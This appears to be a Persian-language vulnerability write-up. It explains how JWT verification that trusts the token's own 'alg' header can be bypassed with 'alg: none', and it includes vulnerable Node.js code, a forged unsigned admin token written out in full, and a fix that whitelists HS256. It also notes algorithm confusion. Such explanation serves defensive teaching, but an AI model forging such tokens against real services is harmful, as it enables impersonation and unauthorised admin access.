بایپس احراز هویت JWT با تغییر الگوریتم به alg=none
سمت سرور امضای توکن را بر اساس هدر الگوریتم خودِ توکن انتخاب میکند؛ با تغییر الگوریتم به none، میشود توکن جعلی بدون امضا ساخت که قبول میشود.
یک توکن JWT از سه بخش base64 تشکیل شده: header.payload.signature. مشکل اینجاست که بعضی پیادهسازیهای سمت سرور، الگوریتم تایید امضا را از همان هدر توکن ورودی میخوانند (بهجای اینکه از قبل، ثابت و سختکدشده باشد):
// نسخهی آسیبپذیر (Node.js + jsonwebtoken، نسخهی قدیمی/تنظیم غلط)
const decoded = jwt.verify(token, secretOrPublicKey);
// توجه: اینجا options.algorithms مشخص نشده، یعنی کتابخانه به alg داخل
// خودِ توکن اعتماد میکند.
شناسایی و بهرهبرداری
یک توکن معتبر معمولی را decode میکنیم (مثلاً با jwt.io) و میبینیم چیزی شبیه این است:
// Header
{ "alg": "HS256", "typ": "JWT" }
// Payload
{ "sub": "42", "role": "user" }
حالا بدون داشتن secret سرور، خودمان یک توکن جدید میسازیم؛ فقط هدر را عوض میکنیم به alg: none و بخش امضا را خالی میگذاریم:
// Header جدید
{ "alg": "none", "typ": "JWT" }
// Payload دستکاریشده
{ "sub": "1", "role": "admin" }
// توکن نهایی (امضا خالی!)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIn0.
اگر کتابخانهی سرور همچنان alg را از خودِ توکن بخواند، متوجه میشود «الگوریتم none است» و اصلاً امضا را چک نمیکند — توکن با role: admin و sub: 1 (مثلاً آیدی خودِ ادمین) پذیرفته میشود.
تاثیر
جعل کامل هویت هر کاربری (از جمله ادمین)، بدون دانستن هیچ رمز یا secretای — فقط با دستکاری یک JSON.
راهحل
همیشه الگوریتم مجاز را صریح و سختکدشده در سمت سرور مشخص کنید، نه از روی هدر توکن:
// نسخهی امن
const decoded = jwt.verify(token, secretKey, {
algorithms: ['HS256'], // فقط همین یکی قبول میشود؛ none/RS256 رد میشود
});
یک کلاس خطرناک مشابه: وقتی سرور از RS256 (کلید عمومی/خصوصی) استفاده میکند ولی public key را بهاشتباه بهعنوان secret برای HS256 هم قبول میکند (الگوریتم Confusion). راهحل یکسان است: whitelist صریح الگوریتم مجاز.